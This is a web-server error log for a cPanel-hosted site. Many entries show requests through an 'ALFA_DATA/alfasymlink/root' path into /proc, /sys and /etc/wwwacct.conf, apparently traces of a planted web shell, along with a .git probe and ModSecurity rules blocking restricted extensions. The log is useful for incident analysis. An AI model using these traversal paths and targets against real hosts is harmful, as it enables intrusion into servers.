[Mon Oct 26 10:15:47.591442 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 100.24.149.244:34519] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/cirrus/module/sections/__mcount_loc
[Mon Oct 26 10:15:51.910308 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9gip204gkO_cfUSwemNQAAAA0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:15:51.910448 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9gip204gkO_cfUSwemNQAAAA0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:15:52.167014 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 52.205.141.124:26044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/order
[Mon Oct 26 10:15:55.546164 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.212.131.50:58599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:16:03.455560 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.3.155.146:8362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:16:15.210979 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 35.169.240.53:28230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:16:15.460344 2026] [core:error] [pid 3044291:tid 3044291] (13)Permission denied: [client 185.191.171.1:27526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/cpu_partial
[Mon Oct 26 10:16:23.134195 2026] [ssl:error] [pid 3044299:tid 3044299] (5)Input/output error: [client 23.21.175.228:62888] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:16:31.150941 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 52.3.127.170:35374] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:16:35.095466 2026] [core:error] [pid 3044272:tid 3044272] (13)Permission denied: [client 3.216.86.144:4331] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/module/drivers/virtio:virtio_balloon/bind
[Mon Oct 26 10:16:39.248478 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 54.156.248.117:57347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:16:43.108344 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.85.7.119:2339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:17:03.160217 2026] [ssl:error] [pid 3044296:tid 3044296] (22)Invalid argument: [client 98.83.178.66:20368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:17:06.921044 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 54.152.163.42:24405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:17:24.840180 2026] [core:error] [pid 3042122:tid 3042122] (13)Permission denied: [client 85.208.96.209:46566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slab_size
[Mon Oct 26 10:17:26.806076 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 3.220.70.171:57562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/resource0
[Mon Oct 26 10:17:34.749868 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.221.105.234:47308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:17:37.361344 2026] [core:error] [pid 3044291:tid 3044291] (13)Permission denied: [client 85.208.96.198:25284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/aliases
[Mon Oct 26 10:17:43.627989 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 52.203.65.83:53771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:17:54.661250 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 23.21.148.226:11225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:17:54.661543 2026] [security2:error] [pid 3044281:tid 3044281] [client 23.21.148.226:11225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:01/wakeup/wakeup1/device/PNP0B00:00/path"] [unique_id "at9hEq35Sx5rx6P-SwLoeQAAAC8"]
[Mon Oct 26 10:17:54.661583 2026] [security2:error] [pid 3044281:tid 3044281] [client 23.21.148.226:11225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:01/wakeup/wakeup1/device/PNP0B00:00/path"] [unique_id "at9hEq35Sx5rx6P-SwLoeQAAAC8"]
[Mon Oct 26 10:18:02.895895 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 23.23.212.212:53877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:06.432164 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.209.201.119:60938] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:18.308059 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 3.230.69.161:13447] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:22.428745 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 34.195.60.66:58011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:26.373840 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.197.102.71:10762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:30.285438 2026] [ssl:error] [pid 3044281:tid 3044281] (5)Input/output error: [client 3.221.244.28:34072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:46.469347 2026] [ssl:error] [pid 3044272:tid 3044272] (70014)End of file found: [client 3.212.205.90:20496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:49.285863 2026] [security2:error] [pid 3039887:tid 3039887] [client 107.172.76.131:54365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9hPT67rV4hhLyl0laAugAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:18:49.285919 2026] [security2:error] [pid 3039887:tid 3039887] [client 107.172.76.131:54365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9hPT67rV4hhLyl0laAugAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:18:54.370217 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.159.98.248:39392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:18:56.833773 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9hRTs8VJ7QW5firx_l-gAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:18:56.833843 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9hRTs8VJ7QW5firx_l-gAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:19:04.895630 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 85.208.96.208:49604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:19:10.182309 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 3.226.34.98:60407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:19:18.280703 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 34.234.200.207:10141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:19:26.166986 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.206.93.215:24681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:19:46.249232 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 3.94.157.25:49586] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:19:50.347802 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 98.82.66.172:30740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:19:54.235431 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 3.219.81.66:36951] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:19:58.195600 2026] [core:error] [pid 3044272:tid 3044272] (13)Permission denied: [client 54.225.199.17:1172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/cpu0/crash_notes_size
[Mon Oct 26 10:20:18.165976 2026] [ssl:error] [pid 3044272:tid 3044272] (70014)End of file found: [client 52.4.213.199:26676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:20:30.246642 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 52.204.253.129:6033] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:20:34.260785 2026] [ssl:error] [pid 3044272:tid 3044272] (70014)End of file found: [client 3.220.148.166:31962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:20:38.152690 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 35.170.205.140:36979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:20:42.229169 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 18.214.124.6:37946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:20:45.854212 2026] [security2:error] [pid 3044268:tid 3044268] [client 16.216.88.31:2048] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at9hvfKWwmJGO0eR0H_yBAAAACE"]
[Mon Oct 26 10:20:45.854992 2026] [security2:error] [pid 3044268:tid 3044268] [client 16.216.88.31:2048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at9hvfKWwmJGO0eR0H_yBAAAACE"]
[Mon Oct 26 10:20:45.855559 2026] [security2:error] [pid 3044268:tid 3044268] [client 16.216.88.31:2048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at9hvfKWwmJGO0eR0H_yBAAAACE"]
[Mon Oct 26 10:20:46.160428 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 54.85.7.119:14773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:20:50.163497 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 54.147.182.90:27162] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:21:02.176842 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 44.214.19.8:36632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:21:06.207481 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.84.169.196:33823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:21:18.192686 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 107.20.25.33:11927] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:21:26.171637 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 44.193.102.198:48179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:21:27.588766 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 85.208.96.205:49918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:21:34.314128 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 185.191.171.11:12318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/names_cache/align
[Mon Oct 26 10:21:46.211997 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 34.206.193.60:55535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:21:50.245195 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 54.243.63.52:48849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:22:02.166235 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 52.3.104.214:25433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:22:06.189715 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.197.76.210:8106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:22:10.169300 2026] [ssl:error] [pid 3044272:tid 3044272] (70014)End of file found: [client 52.203.152.231:57469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:22:22.159620 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 52.54.157.23:60168] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:22:35.167141 2026] [security2:error] [pid 3044303:tid 3044303] [client 16.216.88.50:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "at9iK7RNJnL4L9TV9UoYNgAAAEE"]
[Mon Oct 26 10:22:35.167648 2026] [security2:error] [pid 3044303:tid 3044303] [client 16.216.88.50:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "at9iK7RNJnL4L9TV9UoYNgAAAEE"]
[Mon Oct 26 10:22:35.168016 2026] [security2:error] [pid 3044303:tid 3044303] [client 16.216.88.50:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "at9iK7RNJnL4L9TV9UoYNgAAAEE"]
[Mon Oct 26 10:22:36.680677 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 185.191.171.5:54004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/hwcache_align
[Mon Oct 26 10:22:38.958022 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9iIZ204gkO_cfUSwemUAAAAA0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:22:38.958125 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9iIZ204gkO_cfUSwemUAAAAA0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:22:42.388412 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 34.236.185.101:17392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:22:58.171723 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.216.227.216:49710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:06.528419 2026] [security2:error] [pid 3042122:tid 3042122] [client 107.172.76.131:54478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9iPokBAlsUe0HxPuSmYwAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:23:06.528480 2026] [security2:error] [pid 3042122:tid 3042122] [client 107.172.76.131:54478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9iPokBAlsUe0HxPuSmYwAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:23:07.195968 2026] [core:error] [pid 3044272:tid 3044272] (13)Permission denied: [client 85.208.96.209:25268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/destroy_by_rcu
[Mon Oct 26 10:23:07.196624 2026] [security2:error] [pid 3044272:tid 3044272] [client 85.208.96.209:25268] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/destroy_by_rcu"] [unique_id "at9iSwmgYvoSxPhU6SmvrwAAACY"]
[Mon Oct 26 10:23:07.196672 2026] [security2:error] [pid 3044272:tid 3044272] [client 85.208.96.209:25268] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/destroy_by_rcu"] [unique_id "at9iSwmgYvoSxPhU6SmvrwAAACY"]
[Mon Oct 26 10:23:14.190682 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.147.238.89:36844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:18.181731 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 35.174.141.243:42852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:22.583936 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.221.50.71:15542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:26.154169 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 54.147.80.137:33516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:30.357632 2026] [ssl:error] [pid 3044272:tid 3044272] (70014)End of file found: [client 100.28.44.58:19841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:34.191095 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 18.232.36.1:42605] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:42.193305 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 3.235.215.92:64077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:46.187935 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.223.232.55:3061] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:50.160011 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 34.205.163.103:64842] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:54.166529 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 52.200.54.136:41189] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:23:58.362476 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 44.215.231.15:9620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:06.152804 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 184.73.195.18:52149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:10.158993 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 52.204.253.129:16247] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:18.159806 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 100.29.34.97:34523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:22.145547 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.204.37.237:14409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:34.453588 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9ilZ204gkO_cfUSwemWAAAAA0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:24:34.453689 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9ilZ204gkO_cfUSwemWAAAAA0"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:24:34.528772 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 85.208.96.209:36396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:42.262496 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 23.21.250.48:19931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:46.145682 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 52.203.68.145:39536] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:24:46.734118 2026] [security2:error] [pid 3039887:tid 3039887] [client 43.135.145.73:37180] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/bulletx.php"] [unique_id "at9irj67rV4hhLyl0laA0wAAAAw"]
[Mon Oct 26 10:24:49.932315 2026] [security2:error] [pid 3042122:tid 3042122] [client 107.172.76.131:54478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9ip4kBAlsUe0HxPuSmawAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:24:49.932372 2026] [security2:error] [pid 3042122:tid 3042122] [client 107.172.76.131:54478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9ip4kBAlsUe0HxPuSmawAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:24:54.099602 2026] [security2:error] [pid 3044303:tid 3044303] [client 77.83.39.94:44980] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/index"] [unique_id "at9itrRNJnL4L9TV9UoYOQAAAEE"]
